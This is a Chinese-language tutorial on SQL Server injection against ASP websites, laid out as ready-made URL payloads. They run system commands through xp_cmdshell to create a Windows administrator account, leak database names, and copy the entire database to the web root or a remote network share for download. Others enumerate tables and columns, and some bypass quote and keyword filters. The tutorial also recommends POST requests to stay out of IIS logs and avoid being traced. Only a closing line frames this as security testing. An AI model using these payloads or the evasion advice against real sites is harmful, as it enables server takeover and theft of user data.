
SQL Server 作为功能强大的数据库系统,与操作系统紧密集成,为开发者带来便利的同时,也为注入攻击者提供了广阔的利用空间。本文将从系统表利用、绕过过滤技巧以及实战经验总结三个方面,深入探讨 SQL Server 注入的核心技术。
一、系统表在注入攻击中的典型应用
通过巧妙构造注入语句,攻击者可利用 SQL Server 的系统存储过程、系统变量及系统表,逐步获取敏感信息乃至服务器控制权。以下是几个经典示例。
① 利用 xp_cmdshell 执行系统命令
text
http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”–
在 SQL Server 中,分号 ; 用于分隔多条语句,– 表示后续内容为注释。上述注入将原始查询与一条新语句组合:先查询 ID=1 的记录,随后执行存储过程 xp_cmdshell 调用系统命令,创建一个 Windows 用户。紧接着:
text
http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”–
将新建用户加入管理员组,从而在短短两分钟内获取系统最高权限。需要说明的是,此类攻击仅在数据库连接账号为 sa 或具有相应权限时方可成功。
② 获取数据库连接信息
text
http://Site/url.asp?id=1;and db_name()>0
db_name() 是系统函数,返回当前连接的数据库名称。通过与数字比较,可利用错误信息泄露数据库名,为后续攻击提供关键信息。
③ 备份数据库至 Web 目录
text
http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;–
在得知数据库名及 Web 绝对路径(常通过 IIS 错误信息泄露)后,攻击者可将整个数据库备份到 Web 可访问目录,随后通过 HTTP 下载,窃取所有管理员及用户数据。若未知绝对路径,也可尝试备份至网络共享路径(如 \\202.96.xx.xx\Share\1.db),但成功率较低。
④ 枚举用户表名
text
http://Site/url.asp?id=1;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0
sysobjects 是 SQL Server 的系统表,存储所有数据库对象(表、视图、约束等)。条件 xtype=’U’ and status>0 筛选用户创建的表。上述语句将第一个表名与 0 比较,利用错误信息暴露出表名。后续表名可通过类似方法(如使用 Top N 配合 not in 或 where name > 已知表名)依次获取。
⑤ 猜解字段名
text
http://Site/url.asp?id=1;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
从步骤④获取表名后,使用 object_id(‘表名’) 得到表的内部 ID,col_name(表ID, 1) 返回该表的第一个字段名。将数字 1 依次替换为 2、3、4……即可逐一猜解所有字段名,为后续数据提取铺平道路。
以上六点揭示了系统表在注入攻击中的强大作用,对 SQL Server 系统结构的理解深度直接影响注入的成功率与猜解速度。
二、绕过单引号过滤的技巧
许多开发者通过过滤单引号来防御注入,但这并不能完全阻挡熟练的攻击者。利用 SQL Server 的内置函数,可将包含引号的字符串转换为无引号的形式,从而绕过过滤。
字符的 ASCII 码表示:例如,xtype=’U’ 可改写为 xtype=char(85),因为大写字母 U 的 ASCII 码为 85。
中文字符的 Unicode 表示:若需使用中文,如 name=’用户’,可用 nchar(29992)+nchar(25143) 拼接,其中 29992 和 25143 分别为“用”和“户”的 Unicode 码点。
通过类似方法,攻击者可在完全避开单引号的情况下构造出等效的注入语句,使简单的字符过滤形同虚设。
三、经典实战经验总结
大小写绕过:若程序过滤了 select、update 等关键字但未区分大小写,可尝试 SeLeCt 等混合写法绕过检测。
字段名猜测:当无法直接获取字段名时,可观察网站登录表单的输入框名称,开发者常使用与表单相同的字段名,这为猜解提供了便捷线索。
URL 编码注意事项:地址栏中的 + 会被解析为空格,%2B 才是真正的加号,%25 表示百分号。构造注入语句时需注意 URL 编码规则。
请求方法的选择:使用 GET 方法提交注入时,所有参数均记录于 IIS 日志;而 POST 方式不会记录提交内容。因此,在可能的情况下优先使用 POST 注入,以降低被追踪的风险。
报错信息的利用:Access 数据库注入通常只能通过 Ascii 逐字解码获取数据,而 SQL Server 特有的报错信息可直接暴露字段内容,大幅提升猜解效率与准确性。
掌握以上技巧,并在实践中灵活运用,方能深入理解 SQL Server 注入的本质,从而在安全测试中做到攻防兼备。
